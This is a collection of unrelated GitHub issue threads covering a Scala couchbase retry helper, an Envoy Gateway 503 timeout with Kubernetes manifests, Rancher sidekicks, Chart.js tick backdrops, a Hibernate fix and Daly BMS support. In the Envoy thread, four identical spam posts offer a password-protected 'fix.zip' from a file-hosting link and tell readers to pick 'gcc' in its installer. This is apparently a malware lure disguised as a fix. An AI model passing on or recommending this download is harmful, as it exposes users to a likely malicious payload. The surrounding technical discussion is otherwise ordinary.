Retry strategy

Hello, It's more an inquiry than an issue. How can we change the retry strategy (algo) in this lib ? Is there a RetryWhenFunction / RetryBuilder identical to java couchbase client ? If so, could you please let me know how it is done in reactive couchbase. Thanks a lot in advance. You people are doing a great job !!

Hello again,
Just like to add another quick question, could you be able to give me an idea when the version 1.0.0 or reactive couchbase be released ? Thanks again.

Hi @HimanshuArora1234
can you give me an example of retry, or a link to, with the java client ?

about v 1.0.0, i'd love to finish the sub-document/data structures part of the API.
And maybe have to users to try it on actual project to have some feedback

I guess something like the following should work
object Retries {

  import scala.concurrent._
  import scala.concurrent.duration._
  import akka.pattern.after
  import akka.actor.Scheduler

  def retryOnError[T](retries: Int = 1, delay: FiniteDuration = 0.millis)(f: => Future[T])(implicit ec: ExecutionContext, s: Scheduler): Future[T] = {
    f recoverWith { case _ if retries > 0 => after(delay, s)(retryOnError(retries - 1, delay)(f)) }
  }
}

object TestRetries {

  import akka.actor.ActorSystem
  import scala.concurrent.duration._
  import scala.util._

  val actorSystem = ActorSystem()
  implicit val ec = actorSystem.dispatcher
  implicit val sched = actorSystem.scheduler

  def doSomethingWithCouchbase(): Future[String] = {
    println("good")
    Future.successful("SUCCESS")
  }

  def doSomethingWrongWithCouchbase(): Future[String] = {
    println("wrong")
    Future.successful("SUCCESS")
  }

  retryOnError(3, 2.millis) {
    doSomethingWithCouchbase()
  } andThen {
    case Success(msg) => println("successful")
    case Failure(e) => println("error :(")
  } // prints "good", then "successful"

  retryOnError(3, 2.millis) {
    doSomethingWrongWithCouchbase()
  } andThen {
    case Success(msg) => println("successful")
    case Failure(e) => println("error :(")
  } // prints "wrong", "wrong", "wrong", then "error :("
}

Hello Mathieu,
Thanks a lot for your quick reply. To answer your question about the RetryBuilder of java client, here goes the API link on that :
http://docs.couchbase.com/sdk-api/couchbase-java-client 2.2.7/com/couchbase/client/java/util/retry/RetryBuilder.html
Let me know if you need a concrete java example on that.
Secondly Yeah I think the above snippet of code you added (object Retries) should do the trick :) Really appreciate this.
I was curious about the 1.0.0 release because I really want to use this in a professional project for one of my clients. It's easy to convince them when it's a released version. So I guess this can actually be beneficial to you as well to get some feedback as you mentioned.

Hello again Mathieu,
I tried to use reactive couchbase in a Play project (using play 2.5). As soon as I added the sbt dependency for <IP_ADDRESS>-snapshot, the project doesn't compile because of the following error
No Json serializer found for type org.joda.time.DateTime. Try to implement an implicit Writes or Format for this type.
Please note that this project compile and works fine without reactive couchbase dependency, no joda DataTime serialization/deser error whatsoever. I even tried to exclude the play-josn transitive dependency coming with reactive couchbase to avoid any sort of conflict because of different versions of play but it did not fix the error.
Do you have an idea what might be causing this error .. ? Thanks :)

I guess that's because reactivecouchbase uses play-json 2.6 that does not come with JodaTime reads/writes.
You can try to exclude it from the reactivecouchbase dependencies in your build.sbt file and use your own JsonReads and JsonWrite (from reactivecouchbase) to transform your data the way you want

Hey Mathieu, Thanks a lot for taking time to reply. Appreciated !!
Yes it was my first reflex, I did exclude the play-json 2.6 coming with reactive couchbase but it did not help. Anyway as you said I implemented my own Reads/Writes for Joda DateTime to fix this problem. Thanks :)


503 - upstream connect error or disconnect/reset before headers. reset reason: connection timeout

Using Envoy Gateway 1.0.1. on our development cluster. All HttpRoutes work, except one route for a React Frontend. We are getting a 503 error on the client and a text saying upstream connect error or disconnect/reset before headers. reset reason: connection timeout which does not look like an error our app would output.
What we have already tested:

dployment is running
k8s port forward of one of the containers ->  works
k8s port-forward of the service ->  works
testing with different ports -> did not help
tesing of HttpRoute pointing to a different service -> works
checking NGINX logs -> We don't see any logs from the NGINX container when this error happens.

Here's our setup

Please note I have replaced IP's, domains, and namespaces with something I can share publicly. In case you find some naming error it might have been a typo while replacing our internal names.

Error Message
{
    "start_time": "2024-08-23T09:27:27.939Z",
    "method": "GET",
    "x-envoy-origin-path": "/",
    "protocol": "HTTP/2",
    "response_code": "503",
    "response_flags": "UF",
    "response_code_details": "upstream_reset_before_response_started{connection_timeout}",
    "connection_termination_details": "-",
    "upstream_transport_failure_reason": "-",
    "bytes_received": "0",
    "bytes_sent": "91",
    "duration": "9998",
    "x-envoy-upstream-service-time": "-",
    "x-forwarded-for": "111.222.333.444",
    "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36",
    "x-request-id": "ed5937ea-6a79-4639-98c7-a84f4471b94c",
    ":authority": "webapp.mydomain.mytld",
    "upstream_host": "<IP_ADDRESS>:80",
    "upstream_cluster": "httproute/dev-stage/webapp/rule/0",
    "upstream_local_address": "-",
    "downstream_local_address": "<IP_ADDRESS>:10443",
    "downstream_remote_address": "111.222.333.444:44107",
    "requested_server_name": "webapp.mydomain.mytld",
    "route_name": "httproute/dev-stage/webapp/rule/0/match/0/webapp_mydomain_mytld"
}

Webapp Manifests
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: webapp
  namespace: dev-stage
spec:
  replicas: 3
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxUnavailable: 2 # the old replica must be kept running until new replica is fully operational
      maxSurge: 1 # 1 old and 1 new replica can be active at the same time during deployments
  selector:
    matchLabels:
      app: webapp
  template:
    metadata:
      labels:
        app: webapp
    spec:

      affinity:
        podAffinity:
          # prefer to schedule related pods on same host
          preferredDuringSchedulingIgnoredDuringExecution:
          - weight: 1
            podAffinityTerm:
              labelSelector:
                matchExpressions:
                - key: app
                  operator: In
                  values: ["api", "webapp", "swagger-ui"]
              topologyKey: kubernetes.io/hostname
        podAntiAffinity:
          # require to *not* schedule pods on the same *host* where we are already running again
          requiredDuringSchedulingIgnoredDuringExecution:
          - labelSelector:
              matchExpressions:
              - key: app
                operator: In
                values: ["webapp"]
            topologyKey: kubernetes.io/hostname

      terminationGracePeriodSeconds: 10
      containers:
      - image: <myregistry>/<myimage>:<tag>
        name: webapp
        ports:
        - containerPort: 80
          name: webapp
---
kind: Service
apiVersion: v1
metadata:
  name: webapp
  namespace: dev-stage
spec:
  selector:
    app: webapp
  ports:
  # public
  - name: webapp
    protocol: TCP
    port: 80
    targetPort: 80
---
apiVersion: gateway.networking.k8s.io/v1beta1
kind: HTTPRoute
metadata:
  name: webapp
spec:
  parentRefs:
    - group: gateway.networking.k8s.io
      kind: Gateway
      name: envoy-gw
      namespace: gwapi-system
  hostnames:
   - "webapp.mydomain.mytld"
  rules:
    - backendRefs:
        - name: webapp
          kind: Service
          namespace: dev-stage
          port: 80
          weight: 1
      matches:
        - path:
            type: PathPrefix
            value: /

Gateway Manifests
---
apiVersion: gateway.networking.k8s.io/v1beta1
kind: GatewayClass
metadata:
  name: envoy-gc
spec:
  controllerName: gateway.envoyproxy.io/gatewayclass-controller
  parametersRef:
    group: gateway.envoyproxy.io
    kind: EnvoyProxy
    name: custom-proxy-config
    namespace: gwapi-system
---
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyProxy
metadata:
  name: custom-proxy-config
  namespace: gwapi-system
spec:
  provider:
    type: Kubernetes
    kubernetes:
      envoyDeployment:
        replicas: 3
      envoyService:
        annotations:
          service.beta.kubernetes.io/aws-load-balancer-type: external
          service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: instance
          service.beta.kubernetes.io/aws-load-balancer-scheme: internet-facing
---
apiVersion: gateway.networking.k8s.io/v1beta1
kind: Gateway
metadata:
  name: envoy-gw
  namespace: gwapi-system
spec:
  gatewayClassName: envoy-gc
  listeners:
  - allowedRoutes:
      namespaces:
        from: All
    hostname: '*.mydomain.mytld'
    name: http
    port: 80
    protocol: HTTP
  - allowedRoutes:
      namespaces:
        from: All
    hostname: '*.mydomain.mytld'
    name: https
    port: 443
    protocol: HTTPS
    tls:
      certificateRefs:
      - group: ""
        kind: Secret
        name: envoy-gw-tls-cert
      mode: Terminate

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@amalic

is the error consistently seen or only sometimes after a duration ?
can you try v1.1.0 instead, does anything change with that helm chart ?
the access logs shows "protocol": "HTTP/2" , but you are not using GRPCRoute nor are you setting any applicationProtocol field on the Service, so its weird why envoy is trying to connect to the upstream over http2

is the error consistently seen or only sometimes after a duration ?

yes

can you try v1.1.0 instead, does anything change with that helm chart ?

not at the moment

the access logs shows "protocol": "HTTP/2" , but you are not using GRPCRoute nor are you setting any applicationProtocol field on the Service, so its weird why envoy is trying to connect to the upstream over http2

It's very strange.
The docker File is based on a nginx:alpine image. I even tried to increase timeouts and setting http1 protocol through a ClientTrafficPolicy and 5 retries on any 5xx error through a BackendTrafficPolicy.  Still the same result. And like I already said, when I port-forward the service or pod I get the expected response.

@amalic the issue is that
kind: HTTPRoute
metadata:
  name: webapp

is in the default ns and your backend is in dev-stage and there isnt any ReferenceGrant to allow linking route and backend, can you either add a ReferenceGrant or move the route into the backend ns ?
the status field on the resource should be surfacing this

@arkodg Thanks to your HTTP2 comment I expanded my research, I came across this on the ISTIO Traffic Management Problems site

Envoy requires HTTP/1.1 or HTTP/2 traffic for upstream services. For example, when using NGINX for serving traffic behind Envoy, you will need to set the proxy_http_version directive in your NGINX configuration to be “1.1”, since the NGINX default is 1.0.

https://istio.io/latest/docs/ops/common-problems/network-issues/#envoy-wont-connect-to-my-http10-service
I'll try this as quickly as possible! Might take a couple of days.

@arkodg When I run nginx -T in a shell within the container I get followint output. Means the server is responding via HTTP 1.1. I can confirm this when doing a curl against the port-forwarded service and pods. I wll try to update to latest Envoy version to see if it will fix the error.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/*.conf;
}

# configuration file /etc/nginx/mime.types:

types {
    text/html                                        html htm shtml;
    text/css                                         css;
    text/xml                                         xml;
    image/gif                                        gif;
    image/jpeg                                       jpeg jpg;
    application/javascript                           js;
    application/atom+xml                             atom;
    application/rss+xml                              rss;

    text/mathml                                      mml;
    text/plain                                       txt;
    text/vnd.sun.j2me.app-descriptor                 jad;
    text/vnd.wap.wml                                 wml;
    text/x-component                                 htc;

    image/avif                                       avif;
    image/png                                        png;
    image/svg+xml                                    svg svgz;
    image/tiff                                       tif tiff;
    image/vnd.wap.wbmp                               wbmp;
    image/webp                                       webp;
    image/x-icon                                     ico;
    image/x-jng                                      jng;
    image/x-ms-bmp                                   bmp;

    font/woff                                        woff;
    font/woff2                                       woff2;

    application/java-archive                         jar war ear;
    application/json                                 json;
    application/mac-binhex40                         hqx;
    application/msword                               doc;
    application/pdf                                  pdf;
    application/postscript                           ps eps ai;
    application/rtf                                  rtf;
    application/vnd.apple.mpegurl                    m3u8;
    application/vnd.google-earth.kml+xml             kml;
    application/vnd.google-earth.kmz                 kmz;
    application/vnd.ms-excel                         xls;
    application/vnd.ms-fontobject                    eot;
    application/vnd.ms-powerpoint                    ppt;
    application/vnd.oasis.opendocument.graphics      odg;
    application/vnd.oasis.opendocument.presentation  odp;
    application/vnd.oasis.opendocument.spreadsheet   ods;
    application/vnd.oasis.opendocument.text          odt;
    application/vnd.openxmlformats-officedocument.presentationml.presentation
                                                     pptx;
    application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
                                                     xlsx;
    application/vnd.openxmlformats-officedocument.wordprocessingml.document
                                                     docx;
    application/vnd.wap.wmlc                         wmlc;
    application/wasm                                 wasm;
    application/x-7z-compressed                      7z;
    application/x-cocoa                              cco;
    application/x-java-archive-diff                  jardiff;
    application/x-java-jnlp-file                     jnlp;
    application/x-makeself                           run;
    application/x-perl                               pl pm;
    application/x-pilot                              prc pdb;
    application/x-rar-compressed                     rar;
    application/x-redhat-package-manager             rpm;
    application/x-sea                                sea;
    application/x-shockwave-flash                    swf;
    application/x-stuffit                            sit;
    application/x-tcl                                tcl tk;
    application/x-x509-ca-cert                       der pem crt;
    application/x-xpinstall                          xpi;
    application/xhtml+xml                            xhtml;
    application/xspf+xml                             xspf;
    application/zip                                  zip;

    application/octet-stream                         bin exe dll;
    application/octet-stream                         deb;
    application/octet-stream                         dmg;
    application/octet-stream                         iso img;
    application/octet-stream                         msi msp msm;

    audio/midi                                       mid midi kar;
    audio/mpeg                                       mp3;
    audio/ogg                                        ogg;
    audio/x-m4a                                      m4a;
    audio/x-realaudio                                ra;

    video/3gpp                                       3gpp 3gp;
    video/mp2t                                       ts;
    video/mp4                                        mp4;
    video/mpeg                                       mpeg mpg;
    video/quicktime                                  mov;
    video/webm                                       webm;
    video/x-flv                                      flv;
    video/x-m4v                                      m4v;
    video/x-mng                                      mng;
    video/x-ms-asf                                   asx asf;
    video/x-ms-wmv                                   wmv;
    video/x-msvideo                                  avi;
}

# configuration file /etc/nginx/conf.d/default.conf:
server {
    listen 80;
    server_name _;

    location / {
        port_in_redirect off;
        alias /etc/nginx/html/;
        proxy_http_version 1.1;
        try_files $uri $uri/ //index.html;

        # don't cache anything by default
        add_header Cache-Control "no-store, no-cache, must-revalidate";
    }

    location //static {
        port_in_redirect off;
        alias /etc/nginx/html/static;
        proxy_http_version 1.1;
        expires 1y;

        # cache create react app generated files because they all have a hash in the name and are therefore automatically invalidated after a change
        add_header Cache-Control "public";
    }
}

Strangest thing. I did another nginx test deployment, and I accidentally got a response when trying another reload. I found out that reloading multiple times eventually leads to a successful response. Thanks to the nginxdemos/hello image I could see that the sucessfull response was always coming from the same container. After trying to scale the deployment up and down I found out that the container delivering a successful response was always running on the same node.
After adding NodeAffinity to the , I was able to  deployment template spec I was able to get a response from all replicas.
Here's the dployment I used:
---
apiVersion: v1
kind: Namespace
metadata:
  name: nginx
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  namespace: nginx
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      affinity:
        nodeAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            nodeSelectorTerms:
            - matchExpressions:
              - key: mylabel
                operator: In
                values:
                - myvalue
      containers:
      - name: nginx
        image: nginxdemos/hello:latest
        ports:
        - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: nginx-service
  namespace: nginx
spec:
  selector:
    app: nginx
  ports:
  - name: http
    port: 80
    targetPort: 80
  type: ClusterIP
---
apiVersion: gateway.networking.k8s.io/v1beta1
kind: HTTPRoute
metadata:
  name: nginx-test
  namespace: nginx
spec:
  parentRefs:
    - group: gateway.networking.k8s.io
      kind: Gateway
      name: envoy-gw
      namespace: gwapi-system
  hostnames:
   - "ngx-test.mydomain.mytld"
  rules:
    - backendRefs:
        - name: nginx-service
          kind: Service
          namespace: nginx
          port: 80
          weight: 1
      timeouts:
        backendRequest: 0s
        request: 0s
      matches:
        - path:
            type: PathPrefix
            value: /

closing this one since it looks like it was related to the backend and was resolved

Update: My previous solution was not correct and did not fix the problem.
Turns out since I am running Karpenter Autoscaler, I had to make sure that Envoy Proxy pods are running on Karpenter nodes by adding a node affinity to the pod spec of the custom-proxy-conf
This is what ended up working for me.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyProxy
metadata:
  name: custom-proxy-config
  namespace: gwapi-system
spec:
  logging:
    level:
      default: warn
  provider:
    kubernetes:
      envoyDeployment:
        pod:
          affinity:
            nodeAffinity:
              requiredDuringSchedulingIgnoredDuringExecution:
                nodeSelectorTerms:
                - matchExpressions:
                  - key: autoscaler
                    operator: In
                    values:
                    - karpenter
        replicas: 3
      envoyService:
        annotations:
          service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: instance
          service.beta.kubernetes.io/aws-load-balancer-scheme: internet-facing
          service.beta.kubernetes.io/aws-load-balancer-type: external
        externalTrafficPolicy: Cluster
        type: LoadBalancer
    type: Kubernetes

I think this is a workaround for my issue. Once I find the root couse, I will update this issue.


Jonatas, don't forget to change the demo URL

@JonatanSalas , in this URL http://redux-autoform.github.io/redux-autoform/demo.html the /redux-autoform/demo.html is part is used by the route. That means that, because you changed the name of the project, the route should be changed accordingly, ok? :smile:

I will take about this @andrerpena! Thanks for the remember!

I did this already

Thank you very much andré! Great work! 😃


Mean Opinion Score(MOS) prediction

upstream implementation of "Utilizing Self-supervised Representations for MOS Prediction"
I had made some revision to match the code in the master branch.

Thanks for your reply! I'll infer you once I finished these changes

Hi @leo19941227 !
I have finished modifying the code you mentioned. Please check them when you're available. Thanks a lot!

Hi @leo19941227 !
I had just modified the documentation of both the upstream and downstream mos prediction folder.
Please take a look if that match your need, thanks a lot!

Cool! I am merging this.


W0331 15:25:30.781623   17117 warnings.go:70] admissionregistration.k8s.io/v1beta1 MutatingWebhookConfiguration is deprecated in v1.16+, unavailable in v1.22+; use admissionregistration.k8s.io/v1 MutatingWebhookConfiguration

Always show the warning msg while install kubevela by helm.

what's your K8s cluster version?

@wonderflow
Client Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.5", GitCommit:"6b1d87acf3c8253c123756b9e61dac642678305f", GitTreeState:"clean", BuildDate:"2021-03-18T01:10:43Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.5", GitCommit:"6b1d87acf3c8253c123756b9e61dac642678305f", GitTreeState:"clean", BuildDate:"2021-03-18T01:02:01Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"}

Thanks, we need to update the apiVersion in chart.


Enabling HTTP Health Check on a Sidekick Service Prevents it from Starting

Leading on from #3686 we seem to have stumbled across another sidekick related issue perhaps. If we enable HTTP health checking on a sidekick service (via compose or GUI/upgrade), it will not start. Manually performing a curl from the host or another container on that host (also a sidekick) using the health check URL and settings (before the check is applied) works as expected.
Rancher Version: 0.56.1
Docker Version: 1.9.1
OS: Rancher OS
Steps to Reproduce: In a suitable docker-compose file add a sidekick label to service A, referencing service B. Also apply a HTTP health check to service B.
Results: Service B will not start (service A will).
Expected: Service B starts and is monitored.

What do you mean by doesn't start?

Manually performing a curl from the host or another container on that host (also a sidekick) using the health check URL and settings (before the check is applied) works as expected.

Is it stuck in Initializing state? If you'll actually need to do the curl from another host and not the same host.

Hey Denise,

What do you mean by doesn't start?

Using Rancher Compose at the CLI, the 'primary' service will start, the sidekick will not and the command 'hangs' - insofar as Ctrl+C is required to return to the prompt and no further execution is performed by it.

Can you share your docker-compose.yml?

Just waiting for it to arrive via the dev. Will update this once it has.

Using v0.63.0, I am unable to reproduce. I used a simpler service with a sidekick that had health check enabled
sk:
  tty: true
  image: nginx
  stdin_open: true
primary:
  labels:
    io.rancher.sidekicks: sk
  tty: true
  image: nginx
  stdin_open: true

sk:
  scale: 1
  health_check:
    port: 80
    interval: 2000
    unhealthy_threshold: 3
    strategy: recreate
    response_timeout: 2000
    healthy_threshold: 2
primary:
  scale: 1
  metadata: *id001

Thanks Denise, I'll see if we can upgrade, re-test if we can and report back.

@sjiveson If you are still facing this issue after upgrading, please re-open and let me know.

Hey Denise, we've moved away from using the sidekick in this way so it's all good. Apologies for not letting your know. Cheers


New Audio Metric: sdr

Before submitting

[ ] Was this discussed/approved via a Github issue? (no need for typos and docs improvements)
[x] Did you read the contributor guideline, Pull Request section?
[ ] Did you make sure to update the docs?
[ ] Did you write any new necessary tests?

What does this PR do?
Fixes # (issue).
PR review
Anyone in the community is free to review the PR once the tests have passed.
If we didn't discuss your PR in Github issues there's a high chance it will not be merged.
Did you have fun?
Make sure you had fun coding 🙃

Hi @quancs , I really do not have any good suggestions for the sdr_sir_sar function... I guess that there is not that much to do when the base function is from another framework

Yes, you are right.

@Borda Hi, do you know why the checks still do not report yet

@Borda Hi, do you know why the checks still do not report yet

seems it was blocked by the conflict and still being as a draft :]

Hi guys, do you know why the tests report this error?

@SkafteNicki Hi, I'm working on changing the backend from mir_eval to fast-bss-eval, so don't worry about the errors... I will take care of them when I finished. (fast-bss-eval is a pytorch based implementation, much faster than mir_eval)

@quancs great work, could you ping us on Pl slack? :rabbit:

@quancs mind resolve (accept or reject) remaining comments from @SkafteNicki :rabbit:

@quancs mind resolve (accept or reject) remaining comments from @SkafteNicki 🐰

Sorry, I am a little bit busy these days. When I am free, I will solve the errors and comments quickly

@SkafteNicki Hi, an assertion in test_fid.py failed for the tests in this PR

@quancs seems docs is fixed now

@Borda Do you know why it stuck here PyTorchLightning.metrics

@Borda Do you know why it stuck here PyTorchLightning.metrics

that is just infra issue, restarted... :rabbit:


Scoped CSS does not work with 'riot-tag' based mounting

If my custom tag definition contains a <style scoped> block, those styles won't apply when I mount my tag through a riot-tag attribute.
I assume this will also be the case for mount(selector, tagName) and mount(domNode, tagName), but I have not actually tested this.

Please provide a fiddle or similar.

Here you go.

ok, thanks, looks like it compiles to my-tag p { border: solid 1px black }, need to update compiler to include [riot-tag="my-tag"] p

Yep. But that won't work for those two special mount functions: fiddle
Not sure if there's an easy fix for those.

ok, thanks, you are right, a bit more complex.  Maybe the answer is to document that scoped css not available with those mount cases?
Are you suggesting to have the mount function add the riot-tag in those mount cases?  Might not be a bad idea, not sure if I like it or not, would simplify the compilation but needs more discussion.  Other suggestions welcome.

Are you suggesting to have the mount function add the riot-tag in those mount cases?

Yes, that's what I'm suggesting. Seems like the most elegant solution to me.
But if you must preserve backwards compatibility for people who are counting on the current behavior (seems like an extreme corner-case, but still), you could come up with a new attribute name, e.g., riot-mount.

@GianlucaGuarini your thoughts?

Now I am busy on other stuff I will come back to the topic ASAP

@mhelvens , your proposal does not seem very difficult, or require a lot of code.
I will make a PR as soon as I figure out how to create a reasonable test case.  Thanks for your input on this issue.


truncated re-centred colorbar

Hello, I have the following heatmap. I forced the colormap to be centered at value 0 using and it is working.
ma.Heatmap(df, linewidth=0.5, width=6, height=6, label="Mean\nscaled",
              norm = TwoSlopeNorm(vmin=df.min().min(), vcenter=0, vmax=df.max().max()))

However, with 'TwoSlopeNorm' the two sides of the values 0 are with different slopes, but the colorbar show symetric positioning of value 0. The min values is -1.9, while the max value is 4. I was wondering if can help me making the position of 0 more representative by controling the limits of the colorbar?
Here is another output for MAtplotlib guide showing the same phenomica with using "TwoSlopeNorm"
https://matplotlib.org/stable/users/explain/colors/colormapnorms.html#twoslopenorm-different-mapping-on-either-side-of-a-center
Many thanks, HM

If I understand correctly, you want to center on 0 with same slope on both side. You can set a symmetry vmin and vmax. For example, your data's min is -1.6 and max is 4, you can set vmin=-4 and vmax=4.
vmax = np.max(np.abs(data))
vmin = -vmax

I hope this solves your problem, feel free to ask if you have further questions.

Exactly the opposite. I want the zero value to be matching to white color but the two sides of the colorbar should be a symmetric since we have two different dynamic ranges from both ends.
in this case, the blue side of the color bar should be shorter reaching dark blue at -1.6 The red side of the colorbar should be longer since we have more distance from 0 to 4.
Thanks.

Then you are doing the right thing before with TwoSlopeNorm. The colorbar will always have uniform color range but scaled value. What you want is uniform values with scaled color range, I'm afraid this is very difficult to achieve at the moment.

Ok thanks. Would it possibly to control the colobar tick’s appearance so it will have more information about the dynamic range of each side of the colorbar, otherwise it is difficult to like the values to the heatmap. Thanks.

I'm afraid not, an alternative way is to use the custom_legend to add your own legend to the plot, it will have to be an matplotlib Artist object.

If you want control like how many ticks to display and the format, there is a parameter cbar_kws for Heatmap, it will pass to legendkit's colorart.


'scan' should not run the 'build' action by default

New Issue Checklist

[ ] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description
The default behavior of the scan action is to run xcodebuild [options] build test. The problem here is if the scheme specifies a different configuration for Run vs Test, this ends up building the project twice, once with the Run configuration and then again with the Test configuration.
I can't think of any reason why it should run the build action at all. The test action already builds what's necessary, so all this does is slow down the scan. If I want to do a debug build first, I should be using a separate action for that. As it is, the current behavior is surprising and penalizes anyone who uses the default configuration.
Reading through the code I noticed there's a config flag to skip the build action. So obviously someone realized the build was pointless, but they didn't go far enough. The config flag should be inverted so it only inserts build if explicitly instructed to. Since it looks like the config flags have default values, this could be accomplished simply by switching the default value of :skip_build to true.

Sorry bot, this issue doesn't need fastlane env, I double-checked the source already to confirm the issue.

Hey @kballard, thanks for the issue. From memory, I think you’re right that the default build action is technically pointless in isolation but I think some people may rely on this behavior. So if we switch the default value of skip_build, we may want to think about failing in a helpful way later.

I agree ^ Switching the default value of skip_build seems a little bit risky right now as it doesn't seem like its breaking things for a lot of people in its current implementation but switching it might cause a lot of breakage. I super appreciated you bringing this to our attention as I was not aware of this 😊
I think I'm going to close this issue for now as this isn't something that is worth changing right now but we will definitely take a look at flipping this parameter in the future if it cause issues with what you raise above 👍

I have a suggested solution for this; reopening


HHH-18414 Remove duplicated call of callAttributeBindersInSecondPass(property)

Prior to this commit, AttributeBinder will be called twice, it will produce duplicated tenant filter.

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license
and can be relicensed under the terms of the LGPL v2.1 license in the future at the maintainers' discretion.
For more information on licensing, please check here.

https://hibernate.atlassian.net/browse/HHH-18414

@gavinking It seems the regression is introduced by your commit, please review.

I agree with your analysis here, but I don't think the fix is quite perfect. I think it would be better to delete the call to callAttributeBindersInSecondPass( property ) from makeProperty(), and ensure that all callers of makeProperty() also call callAttributeBindersInSecondPass(), after the property is added to its container.

See #8713.

See #8713.

@gavinking Test added.

See #8713.

@gavinking Test added.

Great, thanks, appreciated!


Daly 3S and 4S BMS Support

3S And 4S BMS have different communications.
My contact at Daly says this should be the document that describes the communication between 3 and 4S BMS and PC.
Daly RS485+UART protocol.pdf

The attached PDF is the same as in #3, but it is for a different protocol. Daly sells BMS with two different chipsets under the same brand. You can read through this discussion if you want to know all the details:
https://github.com/dreadnought/python-daly-bms/issues/1
I didn't find documentation neither, but I've implemented most of what it can by capturing the communication of the Windows tool. Here is the code:
https://github.com/dreadnought/python-daly-bms/commit/8799c7bf70ef9205e428aeab3c635ece5afdc1cc

I have a Daly 4s with sinoweath protocol and a VenusOS and happy to assist in testing with this.
I'm just looking at the code now and will see if I can provide some feedback/assistance.

I have a Daly/MGod 10S BMS and I have some issue using it https://github.com/Louisvdw/dbus-serialbattery/issues/36
Perhaps this is related to it? Thanks.

I have a Daly Smart BMS 250A, already connected it to my venus GX, and started on a implementation. For now I can read the first values, still needs some work before I can make a pull request. (need to polish my python skills a bit, the python 2.7 in the venus OS does not help)
For the implementation, there is actually quite a bit information on the protocol in the PDF from the BMS tool installer. This is partly in Chinese, but with translate and the original side by side there is a lot to make out.  Even bitmaps for some of the status/config commands are given.
Sinowealth BMS Tool Introduction V0.2.pdf

I just pushed a first version to my repo. It needs some cleanup and fetching a bit more info from the BMS in stead of hardcoded variables, and probably has some bugs. Feel free to test/comment. I guess I will continue the implementation the coming days, and will post a pull request when I feel its ready for a first version.
But hey, it works!

First version of the pullrequest is up, so have a look! #41

Nicely done @Carstijn
I'll review the pull request as soon as I can.

https://github.com/Louisvdw/dbus-serialbattery/releases/tag/v0.7beta2
includes the Daly with Sinowealth chip for those that would like to try it and give feedback

https://github.com/Louisvdw/dbus-serialbattery/releases/tag/v0.7beta2
includes the Daly with Sinowealth chip for those that would like to try it and give feedback

Thankyou for this. Will test out and let you know this week.


backdropColor docs are hard to discover

Expected Behavior
For the Polar Area Chart, I expect the background of the axis ticks to be transparent or configurable, for as if the chart is placed on a background with a different color then white.
Current Behavior
Right now the axis tick background is a white rectangle to display the axis ticks. This gives a nice out cut on the circle axis to display the numbers. But when the Chart has an a background color other then white, this doesn't look that nice
Possible Solution
There are 2 possible solotions. The first one is probably the easiest. but the second one the best.

An option to edit the backgroundColor of the Chart label
Chart.options.scales.xAxes.ticks.backgroundColor = 'rgba(24,24,24,1)';*
*I assume the circles are just curved x axes

Probably a better option overall is to calculate the width of the label and to make a gap in the axes.

Calculate the width of the label of the axis
Create a circle with a gap of on the axis  width the  width of the axis tick (+ some padding) (like options.circumference in Doughnut Chart)
Rotate the axis, so the cutout is on top (like the options.rotation in Doughtnut Chart)

This way the axes ticks don't need a backgroundColor, because Axes lines won't intersect with them. Because the axes start/end in front/after the tick labels
I'm not familiar with the math behind this. And it will be probably some pain to figure out a formula for this, but I think option 2 is the best option.
Maybe this can be placed on a todo-list or something
Steps to Reproduce (for bugs)
https://jsfiddle.net/Hedvaa/yaqbndc3/9
Context
It just doesn't look that nice if the background colors of the ticks have an different background then the chart.
Environment

Chart.js version: 2.7.2
Browser name and version: Versie 67.0.3396.87
Link to your project: https://jsfiddle.net/Hedvaa/yaqbndc3/9

Edit: I just realized those are the Axis Ticks and not the Labels

Never mind. I found:
options: {
  scale: {
    ticks: {
      backdropColor: 'rgba(122,156,23,1)'
    }
}

Maybe we should put it in the docs

It's on the docs for the linear radial axis: https://www.chartjs.org/docs/latest/axes/radial/linear.html
Perhaps we should link from the polar area chart to the linear radial axis docs

Dont in #6901


bug on run find-translations regex .* will be sealed off.*?

I am following the answer on the pr #4154,  i made the suggested changes on #4155.
One problem still remains. So I open issues fot this:
$ npm run find-translations -- --locale=fr -f eureka_hydatos

